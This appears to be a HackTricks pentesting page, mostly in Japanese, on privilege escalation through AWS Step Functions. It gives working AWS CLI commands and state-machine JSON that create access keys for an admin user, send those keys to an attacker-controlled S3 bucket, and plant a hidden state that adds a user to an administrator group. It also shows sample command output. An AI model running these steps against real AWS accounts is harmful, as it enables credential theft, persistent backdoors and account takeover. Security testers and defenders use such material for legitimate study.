# AWS - Step Functions Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Step Functions

この AWS サービスの詳細については、次を参照してください:

{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### タスクリソース

These privilege escalation techniques are going to require to use some AWS Step Functions リソース in order to perform the desired privilege escalation actions.

利用可能なすべてのアクションを確認するには、自分の AWS アカウントにログインして使用したいアクションを選択し、そのアクションが使用しているパラメータを確認してください。例:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>

あるいは、API の AWS ドキュメントを参照して各アクションのドキュメントを確認することもできます:

- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)

### `states:TestState` & `iam:PassRole`

An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
```bash
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
以下の例は、これらの権限と AWS 環境の許容的なロールを利用して **`admin`** ユーザーのアクセスキーを作成する state をテストする方法を示します。 この許容的なロールには、state が **`iam:CreateAccessKey`** アクションを実行できるようにする任意の高権限ポリシー（例えば **`arn:aws:iam::aws:policy/AdministratorAccess`**）が関連付けられている必要があります:

- **stateDefinition.json**:
```json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
```
- **Command** privesc を行うために実行されたコマンド:
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
```
**潜在的影響**: ワークフローの不正な実行や操作、機密リソースへのアクセスを引き起こし、重大なセキュリティ侵害につながる可能性があります。

### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)

**`states:CreateStateMachine`**と**`iam:PassRole`**を持つ攻撃者は、ステートマシンを作成して任意の IAM ロールを割り当てることで、そのロールの権限を使って他の AWS サービスへ不正にアクセスできるようになります。前の privesc 技法（**`states:TestState`** と **`iam:PassRole`**）とは異なり、こちらは単体では実行されないため、ステートマシンを実行するには **`states:StartExecution`** または **`states:StartSyncExecution`** の権限が必要です（**`states:StartSyncExecution`** は **標準ワークフローでは利用できず**、**Express ステートマシン専用です**）。
```bash
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
以下の例は、ステートマシンを作成して、**`admin`** ユーザーのアクセスキーを作成し、そのアクセスキーを攻撃者が管理する S3 バケットへ exfiltrates する方法を示しています。これには、これらの権限と AWS 環境の許容的なロールを利用します。  

この許容的なロールには、ステートマシンが **`iam:CreateAccessKey`** および **`s3:putObject`** のアクションを実行できるようにする高権限ポリシー（例： **`arn:aws:iam::aws:policy/AdministratorAccess`**）が紐付いている必要があります。

- **stateMachineDefinition.json**:
```json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
```
- **Command** を実行して **state machine** を作成する:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **コマンド** — 先に作成したステートマシンの**実行を開始する**ために実行される:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
```
> [!WARNING]
> 攻撃者が管理する S3 バケットは、被害者アカウントからの s3:PutObject アクションを受け入れる権限を持っている必要があります。

**潜在的な影響**: ワークフローの不正実行や操作、機密リソースへのアクセスを引き起こし、重大なセキュリティ侵害につながる可能性があります。

### `states:UpdateStateMachine` & (常に必要なわけではない) `iam:PassRole`

攻撃者が **`states:UpdateStateMachine`** 権限を持っていると、ステートマシンの定義を変更でき、特権昇格につながるような追加の隠れたステートを組み込むことができます。こうして、正規のユーザがステートマシンの実行を開始すると、この新しい悪意のある隠れたステートが実行され、特権昇格が成功します。

ステートマシンに紐付けられた IAM Role の権限の範囲によって、攻撃者は次の2つの状況のいずれかに直面します:

1. **権限が広い IAM Role**: ステートマシンに紐付けられた IAM Role が既に権限を広く持っている場合（例えば **`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーがアタッチされているなど）、特権昇格のために **`iam:PassRole`** 権限は不要です。IAM Role を更新する必要がなく、ステートマシンの定義を変更するだけで十分だからです。
2. **権限が制限された IAM Role**: 前述のケースと対照的に、ここでは攻撃者は **`iam:PassRole`** 権限も必要になります。ステートマシンの定義を変更するだけでなく、許可の広い IAM Role をステートマシンに割り当てる必要があるためです。
```bash
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
以下の例は、HelloWorld Lambda 関数を呼び出すだけの正規のステートマシンを更新して、ユーザー **`unprivilegedUser`** を **`administrator`** IAM Group に追加する追加のステートを挿入する方法を示しています。こうすることで、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のある隠れたステートが実行され、権限昇格が成功します。

> [!WARNING]
> ステートマシンに許容的な IAM Role が関連付けられていない場合、許容的な IAM Role を関連付けるために IAM Role を更新する際に iam:PassRole 権限も必要になります（例えば arn:aws:iam::aws:policy/AdministratorAccess ポリシーがアタッチされたもの）。

{{#tabs }}
{{#tab name="Legit State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}

{{#tab name="Malicious Updated State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "AddUserToGroup"
},
"AddUserToGroup": {
"Type": "Task",
"Parameters": {
"GroupName": "administrator",
"UserName": "unprivilegedUser"
},
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}
{{#endtabs }}

- **コマンド** が **正規の state machine** を **更新** するために実行された:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**潜在的な影響**: ワークフローの不正な実行および操作や機密リソースへのアクセスにより、重大なセキュリティ侵害につながる可能性があります。

{{#include ../../../../banners/hacktricks-training.md}}
